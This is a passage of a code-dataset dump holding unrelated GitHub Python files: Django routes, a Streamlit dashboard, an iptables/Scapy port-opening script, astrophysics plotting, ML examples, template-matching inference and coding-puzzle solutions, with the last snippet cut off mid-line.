data=self.config_entry.as_dict()[\"options\"])\n","repo_name":"kvj/hass_Super-Groups","sub_path":"custom_components/super_groups/config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73830949926","text":"from django.urls import path\r\n\r\nfrom shop.views import home, product_list_by_category, product_detail, get_cart, add_product_to_cart, \\\r\n delete_product_from_cart, clean_all_cart, order_products, get_orders, get_product_popularity\r\n\r\nurlpatterns = [\r\n path('', home, name='home'),\r\n path('/category/', product_list_by_category, name='product_list_by_category'),\r\n path('/category/product/', product_detail, name='product_detail'),\r\n path('/cart/add_product/', add_product_to_cart, name='add_product_to_cart'),\r\n path('/cart/delete_product/', delete_product_from_cart, name='delete_product_from_cart'),\r\n path('/cart/clean_products', clean_all_cart, name='clean_all_cart'),\r\n path('/cart/order_products', order_products, name='order_products'),\r\n path('/cart', get_cart, name='get_cart'),\r\n path('/orders', get_orders, name='get_orders'),\r\n path('/popular', get_product_popularity, name='get_product_popularity'),\r\n]\r\n","repo_name":"Sergey-lang/shop-python","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1500674190","text":"import pandas as pd\r\nimport streamlit as st\r\nimport plotly.graph_objects as go\r\nfrom plotly.graph_objs import *\r\nimport matplotlib.pyplot as plt\r\nfrom plotly.subplots import make_subplots\r\nimport plotly.express as px \r\nimport hydralit_components as hc\r\nimport time\r\nfrom utils import print\r\n\r\n\r\ndef operator(df, automation, startDate, endDate, lastMonthfirstday, lastMonthlastday, latestmonthfirstday):\r\n \r\n st.title(\"Operator Insights for \" + automation)\r\n placeholder = st.empty()\r\n \r\n # ------------------------------------------------------- getting data -------------------------------------------------------\r\n # seting date to datetime object \r\n startDate = pd.to_datetime(startDate)\r\n endDate = pd.to_datetime(endDate)\r\n\r\n placeholder = st.empty()\r\n\r\n format = go.Layout(\r\n margin=go.layout.Margin(\r\n l=0, #left margin\r\n r=0, #right margin(\r\n b=0, #bottom margin\r\n t=0, #top margin\r\n ),\r\n # plot_bgcolor=\"#FFFFFF\"\r\n )\r\n \r\n # renewing data\r\n perioddata = df[(df['ProdnDate'] >= startDate) & (df['ProdnDate'] <= endDate)]\r\n noofdays = (endDate - startDate).days\r\n \r\n prevStartWindow = pd.to_datetime(lastMonthfirstday)\r\n prevEndtWindow = pd.to_datetime(lastMonthlastday)\r\n prevdata = df[(df['ProdnDate'] >= prevStartWindow) & (df['ProdnDate'] <= prevEndtWindow )] \r\n \r\n # Grouping data by modules\r\n groupbydf = perioddata.copy()\r\n groupbydf = groupbydf.groupby(['Module'])\r\n \r\n data = perioddata.values.tolist()\r\n dates = []\r\n modules = []\r\n operators = []\r\n\r\n for row in data:\r\n if row[0].strftime(\"%#d/%#m/%Y\") not in dates:\r\n dates.append(row[0].strftime(\"%#d/%#m/%Y\"))\r\n if row[6] not in modules:\r\n modules.append(row[6])\r\n if row[7] not in operators:\r\n operators.append(row[7])\r\n \r\n # ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n \r\n \r\n # -----------------------------------------------------------nagivation bar -------------------------------------------------------\r\n # specify the primary menu definition\r\n menu_data = [\r\n {'icon':\"ðŸ�™\",'label':\"Individual Operators\"},\r\n {'icon': \"far fa-address-book\", 'label':\"View Dataset\"},\r\n {'icon': \"💀\", 'label':\"Guide\"},\r\n {'icon': \"far fa-chart-bar\", 'label':\"Empty\"},#no tooltip message\r\n ]\r\n \r\n # we can override any part of the primary colors of the menu\r\n over_theme = {'txc_inactive': 'black','menu_background':'#ADD8E6','txc_active':'#0047AB','option_active':'white'}\r\n # over_theme = {'txc_inactive': '#FFFFFF'} \r\n \r\n with placeholder.container():\r\n menu_id = hc.nav_bar(menu_definition=menu_data, home_name='Overview', override_theme=over_theme, sticky_mode='pinned')\r\n st.write(\"Feature in development\")\r\n \r\n# if menu_id == \"Overview\":\r\n \r\n# st.subheader(\"For period \" + str(startDate.date()) + ' to ' + str(endDate.date()))\r\n \r\n# main1, main2, main3, main4 = st.columns((0.5,0.5,1,1))\r\n \r\n# with main1:\r\n# operatorNames = ''\r\n# for i in operators:\r\n# operatorNames += i\r\n# operatorNames += '\\n\\n'\r\n# st.markdown(f'

    {\"Operators present:\"}

    ', unsafe_allow_html=True)\r\n# st.success(operatorNames)\r\n \r\n# with main2:\r\n# st.markdown(f'

    {\"Best Operator: \"}

    ', unsafe_allow_html=True)\r\n# st.info('Alvin')\r\n# st.markdown(f'

    {\"Most Improved Operator: \"}

    ', unsafe_allow_html=True)\r\n# st.info('Nathaniel')\r\n \r\n# with main3:\r\n# hc.info_card(title='Average Operators EXP', content='All good!', sentiment='good', bar_value=77, icon_size=\"2.4rem\",title_text_size=\"1.8rem\",content_text_size=\"1.4rem\")\r\n# with hc.HyLoader('Loading',hc.Loaders.pulse_bars,):\r\n# time.sleep(0.5)\r\n \r\n# with main4:\r\n# hc.info_card(title='Empty Field', content='Empty Field', sentiment='good', bar_value=77, icon_size=\"2.4rem\",title_text_size=\"1.8rem\",content_text_size=\"1.4rem\")\r\n# with hc.HyLoader('Loading',hc.Loaders.pulse_bars,):\r\n# time.sleep(0.5)\r\n \r\n \r\n# info1, info2, info3 = st.columns((0.5,1,1))\r\n \r\n# with info1:\r\n# st.subheader(\"Per Alarm Type\")\r\n \r\n# with info2:\r\n# st.subheader(\"Most Recovery Done 1EXP\")\r\n \r\n# with info3:\r\n# st.subheader(\"Fastest Reovery Time 1EXP\")\r\n \r\n \r\n \r\n# info11, info22, info33 = st.columns((0.5,1,1))\r\n \r\n# with info1:\r\n# st.subheader(\"Cumulative\")\r\n \r\n# with info2:\r\n# st.subheader(\"Most experience based on count 1EXP\")\r\n \r\n# with info3:\r\n# st.subheader(\"Most Experience based on time 1EXP\")\r\n \r\n \r\n \r\n \r\n \r\n \r\n# if menu_id == \"Individual Operators\":\r\n \r\n# operator1, operator2 = st.columns((1,1))\r\n \r\n# with operator1:\r\n# st.header('Operator')\r\n\r\n# with operator2:\r\n# st.header('EXP Chart')\r\n \r\n \r\n# if menu_id == \"View Dataset\":\r\n# st.write(perioddata)\r\n \r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"lienahtan/AutomationDash","sub_path":"Operator.py","file_name":"Operator.py","file_ext":"py","file_size_in_byte":6144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29468671436","text":"\"\"\"\nNetwork Port Management and Packet Sniffing\n\nThis module provides functionality for monitoring and managing network traffic,\nspecifically targeting the opening and closing of ports based on certain network\nconditions. It uses iptables for managing port rules and Scapy for sniffing network\npackets. The script monitors specified ports, opens them for certain IP addresses\nbased on packet data, and maintains a record of these actions.\n\nThe script's behavior can be configured through environment variables, allowing\nthe specification of network interfaces, IP addresses, and ports to monitor. It\nalso handles logging and persistence of port timer data using a pickle file.\n\nFunctions:\n- load_timers: Loads timer data from a pickle file.\n- update_timers: Updates and saves the timer data to a pickle file.\n- open_port: Opens a port for a specific IP address.\n- process_packet: Processes each sniffed packet and takes action based on its content.\n- ensure_drop_rules: Ensures iptables DROP rules are set for specified ports.\n- run_cmd: Executes a system command.\n\nGlobal Variables:\n- LOGLEVEL, iface, iface_ip, port_to_monitor, ports_to_open, filter_expr, PICKLE_FILE, ip_timers\n\nUsage:\nThe script can be executed as a standalone Python script. Ensure that the required\nenvironment variables are set before running.\n\nExample:\n $ python this_script.py\n\nThis module requires external libraries: Scapy, os, logging, time, pickle, subprocess.\n\"\"\"\nimport time\nfrom ssh_port_manager import (\n ip_timers,\n load_timers,\n iface,\n iface_ip,\n update_timers,\n ensure_drop_rules,\n run_cmd,\n logger,\n ports_to_open,\n port_to_monitor,\n)\nfrom scapy.all import sniff, TCP, IP\n\n# logger.debug show all global variables\nlogger.debug(f\"iface: {iface}\")\nlogger.debug(f\"iface_ip: {iface_ip}\")\nlogger.debug(f\"port_to_monitor: {port_to_monitor}\")\nlogger.debug(f\"ports_to_open: {ports_to_open}\")\n\n\ndef process_packet(packet):\n \"\"\"\n Processes a network packet to check for specific TCP flags and takes action.\n\n This function examines a given network packet to determine if it contains a TCP\n layer with specific flags (specifically, the 'SYN' flag, indicated by \"S\"). If such\n a packet is found, and if its destination port is the port we're monitoring\n (`port_to_monitor`), it triggers an action to open the port.\n\n Parameters:\n packet: A network packet object, expected to contain IP and TCP layers.\n\n Side Effects:\n - Calls `open_port` function with the source IP and destination port of the packet\n if the packet meets the specified criteria.\n\n Returns:\n None\n \"\"\"\n if packet.haslayer(TCP) and (packet[TCP].flags == \"S\"):\n src_ip = packet[IP].src\n #dst_port = packet[TCP].dport\n for port in ports_to_open:\n open_port(src_ip, port)\n\n\ndef open_port(ip, port):\n \"\"\"\n Opens a specified port for a given IP address using iptables.\n\n This function checks if an ACCEPT rule for a specific IP and port combination\n already exists in iptables. If not, it adds this rule. It uses iptables with\n the mangle table for managing these rules. The function also logs the action\n taken and updates the `ip_timers` dictionary to keep track of the time when\n the port was opened for the given IP.\n\n Parameters:\n ip (str): The IP address for which the port needs to be opened.\n port (int): The port number to be opened for the given IP address.\n\n Side Effects:\n - Executes iptables commands to add ACCEPT rules.\n - Updates the global `ip_timers` dictionary.\n - Logs actions to the logger.\n\n Returns:\n None\n \"\"\"\n base_cmd = \"/sbin/iptables -t mangle\"\n rule_check = (\n f\"{base_cmd} -C PREROUTING -i {iface} -d {iface_ip} \"\n f\"-p tcp --dport {port} -s {ip} -j ACCEPT\"\n )\n rule_add = (\n f\"{base_cmd} -I PREROUTING -i {iface} -d {iface_ip} \"\n f\"-p tcp --dport {port} -s {ip} -j ACCEPT\"\n )\n\n # Open the port for the given IP if it's not already open\n if run_cmd(rule_check) == 0:\n logger.debug(f\"Port: {port} already open for source IP address: {ip}\")\n else:\n run_cmd(rule_add)\n logger.info(f\"Port {port} opened for IP: {ip}\")\n # Set the timer for this IP and port\n if ip not in ip_timers:\n ip_timers[ip] = {}\n ip_timers[ip][port] = time.time()\n update_timers()\n\n\nif __name__ == \"__main__\":\n # Ensure default behaviour\n ensure_drop_rules(port_to_monitor)\n for p in ports_to_open:\n ensure_drop_rules(p)\n # load old timers\n ip_timers = load_timers()\n # Capturing traffic\n sniff(\n filter=f\"tcp port {port_to_monitor}\", iface=iface, prn=process_packet, store=0\n )\n","repo_name":"oriolrius/StealthSSHAccess","sub_path":"openssh.py","file_name":"openssh.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"16766806168","text":"from amrvac_tools.datfiles.reading import amrvac_reader\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as colors\nimport math\nfrom scipy import interpolate\nfrom scipy.optimize import curve_fit\nimport sys\n\n# Original file by Nicolas Moens\n\nbf = 'WR_2D_alpha_LTE_G4_O3_'\nfn = bf + '0016.dat'\n\n# Mean density\n########################################\nA = np.loadtxt(bf + '_rho', skiprows=1)\nmean_r = np.transpose(A)[0]\nmean_rho = np.transpose(A)[2]\nf_rho = interpolate.interp1d(mean_r, mean_rho, kind='linear', fill_value=\"extrapolate\")\n\n\nsnaps_arr = [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 60, 80, 100]\n\nfig, ax = plt.subplots(2, len(snaps_arr))\n# fig.set_size_inches(10, 8)\n\nfor ii in range(len(snaps_arr)):\n # Retrieve data and coordinates from file\n fn = bf + str(snaps_arr[ii]).zfill(4) + '.dat'\n print(ii, ':', fn)\n ds = amrvac_reader.load_file(fn)\n ad = ds.load_all_data()\n x, y = ds.get_coordinate_arrays()\n t = ds.get_time()\n rho = ad['rho']\n v = ad['v1']\n\n relrho = rho.copy()\n\n for i in range(len(x)):\n for j in range(len(y)):\n mean_rho_local = f_rho(x[i])\n relrho[i, j] = rho[i, j] / mean_rho_local\n\n pcp0 = ax[0, ii].pcolor(y, x, relrho, norm=colors.LogNorm(vmin=0.1, vmax=10.0), cmap='RdYlBu')\n pcp1 = ax[1, ii].pcolor(y, x, v, norm=colors.TwoSlopeNorm(vmin=-0.25, vcenter=0., vmax=2.5), cmap='RdBu')\n\n ax[0, ii].set_aspect(aspect='equal')\n ax[1, ii].set_aspect(aspect='equal')\n\n ax[0, ii].set_title(str(t), rotation=45, y=1.0, pad=+15)\n ax[0, ii].set_yticks([])\n ax[1, ii].set_yticks([])\n ax[0, ii].set_xticks([])\n ax[1, ii].set_xticks([])\n\n plt.savefig('timeseries_rho_v.png')\n\nax[0, 0].set_title('$t/\\\\tau_{dyn} =$ \\n 0 ', rotation=0, y=1.0, pad=+14)\n\nax[1, 0].set_yticks([1, 2, 3, 4, 5, 6])\nax[0, 0].set_yticks([1, 2, 3, 4, 5, 6])\nax[0, 0].set_ylabel(\"r $[R_{\\\\rm c}]$\")\nax[1, 0].set_ylabel(\"r $[R_{\\\\rm c}]$\")\nax[1, 0].set_xlabel(\"y $[R_{\\\\rm c}]$\")\n\n# cb0 = fig.colorbar(pcp0, ax=ax[0,:].ravel().tolist(),shrink=0.7)\n# cb1 = fig.colorbar(pcp1, ax=ax[1,:].ravel().tolist(),shrink=0.7,ticks=[-0.25, 0, 2.5])\n\n# cb0.set_label('relative density', rotation=270, fontsize=10, labelpad=20)\n# cb1.set_label('radial velocity [1000 km $\\\\rm s^{-1}$]', rotation=270, fontsize=10, labelpad=20)\n\nplt.tight_layout(h_pad=0.1, w_pad=0.0)\n\ncb0 = fig.colorbar(pcp0, ax=ax[0, :].ravel().tolist(), shrink=0.7)\ncb1 = fig.colorbar(pcp1, ax=ax[1, :].ravel().tolist(), shrink=0.7, ticks=[-0.25, 0, 2.5])\n\ncb0.set_label('relative density', rotation=270, fontsize=10, labelpad=20)\ncb1.set_label('radial velocity [1000 km $\\\\rm s^{-1}$]', rotation=270, fontsize=10, labelpad=20)\n\nplt.savefig('timeseries_rot.png', bbox_inches='tight')\nplt.show()\n","repo_name":"LaraDelbroek/Research-Projects-In-Theoretical-AstroPhysics-Lara-Delbroek","sub_path":"Making_Timeseries.py","file_name":"Making_Timeseries.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7649844897","text":"import pandas as pd\r\nfrom matplotlib import pyplot\r\n\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.ensemble import VotingClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.metrics import roc_curve\r\n\r\n\r\ntitanic_data = pd.read_csv(\"titanic.csv\")\r\n\r\n# organize the dataset\r\ntitanic_data = titanic_data.drop(['Name'], axis=1)\r\n#change sex labels into 0,1 integers\r\ntitanic_data['Sex'].replace('female',0,inplace=True)\r\ntitanic_data['Sex'].replace('male',1,inplace=True)\r\n# split the data into test/train subsets (no validation)\r\ntrain_set, test_set = train_test_split(titanic_data, test_size=0.2, random_state=42)\r\n\r\n# separate outcome labels\r\ntrain_set_labels = train_set['Survived']\r\ntest_set_labels = test_set['Survived']\r\n# remove outcome labels\r\ntrain_set = train_set.drop('Survived',axis=1)\r\ntest_set = test_set.drop('Survived',axis=1)\r\n\r\nlog_clf = LogisticRegression()\r\nrnd_clf = RandomForestClassifier()\r\nsvm_clf = SVC(probability=True)\r\n\r\nvoting_clf = VotingClassifier(\r\nestimators=[('lr', log_clf), ('rf', rnd_clf), ('svc', svm_clf)],\r\nvoting='soft')\r\n\r\nfor clf in (log_clf, rnd_clf, svm_clf, voting_clf):\r\n clf.fit(train_set, train_set_labels)\r\n fpr, tpr, _ = roc_curve(test_set_labels, clf.predict_proba(test_set)[:, 1])\r\n pyplot.plot(fpr, tpr, marker='.', label=clf.__class__.__name__)\r\n print(clf.__class__.__name__, accuracy_score(test_set_labels, clf.predict(test_set)))\r\n\r\n\r\npyplot.xlabel('False Positive Rate')\r\npyplot.ylabel('True Positive Rate')\r\npyplot.legend()\r\npyplot.show()","repo_name":"gsimatov/machine_learning","sub_path":"learn_titanic.py","file_name":"learn_titanic.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13954994897","text":"from pathlib import Path\nimport torch\nimport torchvision\nfrom torchvision import models, transforms, utils\nimport argparse\nfrom utils import *\nfrom qatm_pytorch_custom_color import CreateModel, ImageDataset,plot_result_mayank,nms_multi,nms,run_one_sample_mayank,run_multi_sample,plot_result_multi,run_one_sample\nimport pandas as pd\nimport natsort\nimport copy\nimport PIL.ImageOps\nimport torch.nn as nn\nfrom torch import optim\nimport torch.nn.functional as F\n# +\n# import functions and classes from qatm_pytorch.py\nprint(\"import qatm_pytorch.py...\")\nimport ast\nimport types\nimport sys\nimport time\nfrom PIL import Image\nfrom data_preprocess_for_inference import find_template\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='QATM Pytorch Implementation')\n parser.add_argument('--cuda',default=True, action='store_true')\n parser.add_argument('-s', '--sample_image', default='data/sample/gwm_1284.jpg')\n # parser.add_argument('-t', '--template_images_dir', default='/home/mayank_sati/Desktop/qatm_data/template/')\n parser.add_argument('-t', '--template_images_dir', default='data/cust_template/')\n parser.add_argument('--alpha', type=float, default=25)\n parser.add_argument('--thresh_csv', type=str, default='thresh_template.csv')\n args = parser.parse_args()\n\n print(\"define model...\")\n model = CreateModel(model=models.vgg19(pretrained=True).features, alpha=args.alpha, use_cuda=args.cuda)\n counter=0\n #######################################333333\n # combo1\n # ref_id=1001....1005\n\n template_root = \"/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/e-w-n-1\"\n input_folder = '/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/e-w-n-2'\n # input_folder = '/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/e-w-n-2_crop'\n # input_folder = '/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/e-w-n-2 (copy)'\n csv_name = 'e-w-n-1.csv'\n\n ref_id = 1001\n #######################################333333\n\n #######################################333333\n # combo2\n # ref_id=1012....1021\n\n # template_root = \"/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/s-n-1\"\n # input_folder = '/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/s-n-2_crop'\n # csv_name = 's-n-1.csv'\n # ref_id = 1013\n\n\n #######################################333333\n # combo3\n # ref_id=1012....1021\n\n template_root=\"/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/s-n-1\"\n input_folder = '/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/s-n-2_crop'\n input_folder = '/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/s-n-3'\n # input_folder = '/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/S-N-2-CROP_2'\n # input_folder = '/home/mayank_sati/Desktop/one_Shot_learning/RANDOM_XS'\n csv_name='s-n-1.csv'\n ref_id=1012\n #######################################333333\n\n\n # input_folder='/home/mayank_sati/Desktop/one_Shot_learning/image_xs'\n # input_folder='/home/mayank_sati/Documents/datsets/Rosbag_files/xshui_all/e-w-n-l-2'\n\n # input_folder='/home/mayank_sati/Desktop/one_Shot_learning/xshui'\n for root, _, filenames in os.walk(input_folder):\n filenames = natsort.natsorted(filenames, reverse=False)\n\n if (len(filenames) == 0):\n print(\"Input folder is empty\")\n # time_start = time.time()\n for filename in filenames:\n counter+=1\n if not counter % 4==0:\n continue\n t1 = time.time()\n print(filename)\n title, ext = os.path.splitext(os.path.basename(filename))\n time_stamp = title.split(\"_\")[0]\n x_pos = title.split(\"_\")[1]\n y_pos = title.split(\"_\")[2]\n temp_name,bbox_info=find_template(ref_id,[float(x_pos),float(y_pos)],csv_name)\n if temp_name==1:\n print(\"waiting for image with id \",ref_id)\n\n imgk=cv2.imread(os.path.join(root,filename))\n cv2.putText(imgk, \"IDNOT FOUND\", (10, 10), cv2.FONT_HERSHEY_PLAIN, 1, (0, 0, 0), 1)\n cv2.imshow(\"img5\", imgk)\n # cv2.imshow('img', img)\n ch = cv2.waitKey(150)\n if ch & 0XFF == ord('q'):\n cv2.destroyAllWindows()\n # cv2.waitKey(1)\n cv2.destroyAllWindows()\n continue\n ####################################################################\n # saving template\n temp_path =template_root+\"/\"+temp_name\n # temp_path =root+\"/\"+filename\n \n img = cv2.imread(temp_path)\n frame = img[int(bbox_info[1]):int(bbox_info[3]), int(bbox_info[0]):int(bbox_info[2])]\n # frame = img[int(bbox_info[1]-0):int(bbox_info[3]+100), int(bbox_info[0]-35):int(bbox_info[2]+35)]\n # frame = img[int(bbox_info[1]-20):int(bbox_info[3]+25), int(bbox_info[0]-25):int(bbox_info[2]+25)]\n\n ##########################3\n # cv2.putText(frame, \"templ\", (10, 10), cv2.FONT_HERSHEY_PLAIN, 1, (0, 0, 0), 1)\n cv2.imshow('img_frame', frame)\n ch = cv2.waitKey(500)\n if ch & 0XFF == ord('q'):\n cv2.destroyAllWindows()\n # cv2.waitKey(1)\n cv2.destroyAllWindows()\n\n\n\n # frame = img[int(bbox_info[1]-15):int(bbox_info[3]+15), int(bbox_info[0]-15):int(bbox_info[2]+15)]\n # frame = img[int(y[value][1]):int(y[value][3]), int(y[value][0]):int(y[value][2])]\n # frame = img[int(y[value][1]-40):int(y[value][3]+40), int(y[value][0]-30):int(y[value][2]+30)]\n cv2.imwrite(\"data/cust_template/myimage.jpg\", frame)\n print(\" time taken in template processing\", (time.time() - t1) * 1000)\n ################################################\n template_dir = args.template_images_dir\n # image_path = args.sample_image\n # path=''\n # image_path = path\n # image_path = '/home/mayank_sati/Desktop/one_Shot_learning/farmington/traffic_shot_2019-05-31-13-38-28_4_0001/1559324322534832565.jpeg'\n # image_path = '/home/mayank_sati/Desktop/one_Shot_learning/farmington/traffic_shot_2019-05-31-13-38-28_4_0001/1559324320268203434.jpeg'\n image_path =root+\"/\"+filename\n # image_path = '/home/mayank_sati/Desktop/one_Shot_learning/farmington/traffic_shot_2019-05-31-13-38-28_4_0003/1559324341001511289.jpeg'\n # image_path = 'result.jpeg'\n dataset = ImageDataset(Path(template_dir), image_path, thresh_csv='thresh_template.csv')\n print(\" time taken in data processing\", (time.time() - t1) * 1000)\n\n print(\"calculate score...\")\n\n # print(\" time taken in loading model\", (time.time() - t1) * 1000)\n # scores, w_array, h_array, thresh_list = run_multi_sample(model, dataset)\n scores, w_array, h_array, thresh_list = run_one_sample_mayank(model, dataset)\n # scores, w_array, h_array, thresh_list=run_one_sample(model, dataset['template'], dataset['image'], dataset['image_name'])\n print(\"nms...\")\n print(\" time taken in running model\", (time.time() - t1) * 1000)\n # boxes, indices = nms_multi(scores, w_array, h_array, thresh_list)\n # # time_take=(time.time()-t)*1000\n # # print('amount of time taken',time_take)\n # _ = plot_result_multi(model,dataset.image_raw, boxes, indices, show=True, save_name='result.png')\n thresh_list = .2\n boxes = nms(scores, w_array, h_array, thresh_list)\n # _ = plot_result_multi(dataset.image_raw, boxes, indices, show=True, save_name='result.png')\n _ = plot_result_mayank(dataset.image_raw, boxes, show=True, save_name='result.png')\n print(\"result.png was saved\")\n","repo_name":"mayanks888/QATM.pytorch.ros2","sub_path":"inference_traffic_light_detection_with_gps_mayank_color_2.py","file_name":"inference_traffic_light_detection_with_gps_mayank_color_2.py","file_ext":"py","file_size_in_byte":7919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29749494169","text":"import os\nimport glob\nimport pathlib\nimport numpy as np\nimport tensorflow as tf\nimport keras\nimport time\n\n# tensorflow backend config\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nkeras.backend.set_session(tf.Session(config=config))\n# -------------------------------system config------------------------------------------\n# model path\nMODEL_PATH = os.path.join('../output', 'model', 'fine_vgg_{0}.h5'.format(time.time()))\n# train data path\nDATA_PATH = os.path.join('../output', 'data', 'fine_vgg.pkl')\n# log path\nLOG_PATH = os.path.join('../output', 'logs')\n\n# data path\n# origin dataset\nORIGINAL_DATASET_DIR = '../data'\n# separate dataset\nBASE_DIR = os.path.join(ORIGINAL_DATASET_DIR, 'flower_split')\n\n# train dataset\nTRAIN_DATA_DIR = os.path.join(BASE_DIR, 'train')\n# validation dataset\nVAL_DATA_DIR = os.path.join(BASE_DIR, 'val')\n\nINFERENCE_DATA_PATH = os.path.join('../tools', 'demos')\nINFERENCE_OUTPUT_PATH = os.path.join('../tools', 'inference_result')\n\n\n\n\n# -----------------------------train config------------------------------------------\nBATCH_SIZE = 32\nEPOCH = 60\nTARGET_SIZE = (150, 150)\nTRAIN_SAMPLE_COUNT = len(list(pathlib.Path(TRAIN_DATA_DIR).glob('*/*.jpg')))\nVAL_SAMPLE_COUNT = len(list(pathlib.Path(VAL_DATA_DIR).glob('*/*.jpg')))\nSTEP_PER_EPOCH = np.ceil(TRAIN_SAMPLE_COUNT / BATCH_SIZE)\nVAL_STEP = np.ceil(VAL_SAMPLE_COUNT / BATCH_SIZE)\nCLASS_NAMES = [file.name for file in pathlib.Path(TRAIN_DATA_DIR).iterdir() if file.is_dir()]","repo_name":"alexchungio/Flower-Classify","sub_path":"config/cfgs.py","file_name":"cfgs.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35605056487","text":"# compute pi digits to test CPU and GPU contention\n\nimport time\n\n# Try the different display clock MHz \nfor clock in [10, 12, 14, 18, 22, 28]:\n tulip.display_clock(clock)\n time.sleep(10) # just let it catch up to fps counter\n tulip.cpu()\n k =1\n s = 0\n iters = 100000\n t = time.ticks_ms()\n for i in range(iters):\n if i % 2 == 0:\n s += 4/k\n else:\n s -= 4/k\n k+=2\n \n print(\"%d MHz %2.2f%% CPU %2.1f%% GPU %2.1f FPS %dmS for %d iters: %f\" % \\\n (clock, tulip.cpu(), tulip.gpu(), tulip.fps(),time.ticks_ms()-t, iters, s))\n\n#Back to normal\ntulip.display_clock(18)\n\n","repo_name":"bwhitman/tulipcc","sub_path":"tulip/fs/ex/pi.py","file_name":"pi.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"52"} +{"seq_id":"43906310494","text":"# import sys\n#\n# a = int(sys.stdin.readline().strip())\n# a_list = []\n# while a:\n# tmp = int(sys.stdin.readline().strip())\n# a_list.append(tmp)\n# a -= 1\n#\n#\n# def func1(i):\n# tmp_list = []\n# tmp_str = ''\n# while i > 9:\n# tmp_list.append(9)\n# i -= 9\n# tmp_list.append(i)\n# tmp_list.reverse()\n# for j in tmp_list:\n# tmp_str += str(j)\n# return int(tmp_str)\n#\n# for i in a_list:\n# print(func1(i))\n\n\"\"\"\n2 \n13\n18\n\"\"\"\n\n\n\"\"\"\n2\n1 2 3\n1 2 6\n\n\"\"\"\nimport sys\na = int(sys.stdin.readline().strip())\na_list = []\nwhile a:\n tmp = [int(j) for j in sys.stdin.readline().strip().split()]\n a_list.append(tmp)\n a -= 1\n\ndef func1(b_list):\n a = 0\n b = 0\n c = 0\n while sum(b_list):\n if b_list[0] + b_list[1] > 0:\n a += 1\n if b_list[0] > b_list[1]:\n b_list[0] -= 1\n else:\n b_list[1] -= 1\n\n if b_list[1] + b_list[2] > 0:\n b += 1\n if b_list[1] > b_list[2]:\n b_list[1] -= 1\n else:\n b_list[2] -= 1\n\n if b_list[0] + b_list[2] > 0:\n c += 1\n if b_list[0] > b_list[2]:\n b_list[0] -= 1\n else:\n b_list[2] -= 1\n return max(a, b, c)\nfor i in a_list:\n print(func1(i))\n\n\n\n\"\"\"\n2\n5\n1 3 9 2 6\n5\n4 2 9 16 7\n\"\"\"\n# import sys\n# a = int(sys.stdin.readline().strip())\n# a_list = []\n# count1 = a\n# a *= 2\n# count = a\n# while a:\n# tmp = [int(j) for j in sys.stdin.readline().strip().split()]\n# a_list.append(tmp)\n# a -= 1\n# a1_list = []\n# for i in range(1, count, 2):\n# a1_list.append(a_list[i])\n# a2_list = []\n# for i in range(0, count, 2):\n# a2_list.append(a_list[i][0])\n# def func1(a_len, b_list):\n# tmp_list = []\n# tmp = 0\n# for i in range(a_len):\n# if b_list[i] > sum(tmp_list):\n# tmp_list.append(b_list[i])\n# else:\n# if len(tmp_list) > tmp:\n# tmp = len(tmp_list)\n# tmp_list = []\n# tmp_list.append(b_list[i])\n#\n# return tmp\n#\n#\n# for i in range(count1):\n# print(func1(a2_list[i], a1_list[i]))\n\n\n\n\"\"\"\n1 \n6\n1 2 3 4 5 6\n\"\"\"\n# import sys\n# a = int(sys.stdin.readline().strip())\n# a_list = []\n# count1 = a\n# a *= 2\n# count = a\n# while a:\n# tmp = [int(j) for j in sys.stdin.readline().strip().split()]\n# a_list.append(tmp)\n# a -= 1\n# a1_list = []\n# for i in range(1, count, 2):\n# a1_list.append(a_list[i])\n# a2_list = []\n# for i in range(0, count, 2):\n# a2_list.append(a_list[i][0])\n#\n# def func1(a_len, b_list):\n# a_sum = sum(b_list)\n# if a_sum % 2 == 1:\n# return \"NO\"\n# b_list.extend(b_list)\n# tmp = a_sum // 2\n# for j in range(a_len):\n# count = 0\n# for i in range(j+1, len(b_list)):\n# count += 1\n# tmp1 = sum(b_list[j:i])\n# if tmp1 < tmp:\n# continue\n# if tmp1 > tmp:\n# break\n# if tmp1 == tmp:\n# return \"YES\"\n# if count >= a_len:\n# break\n# return 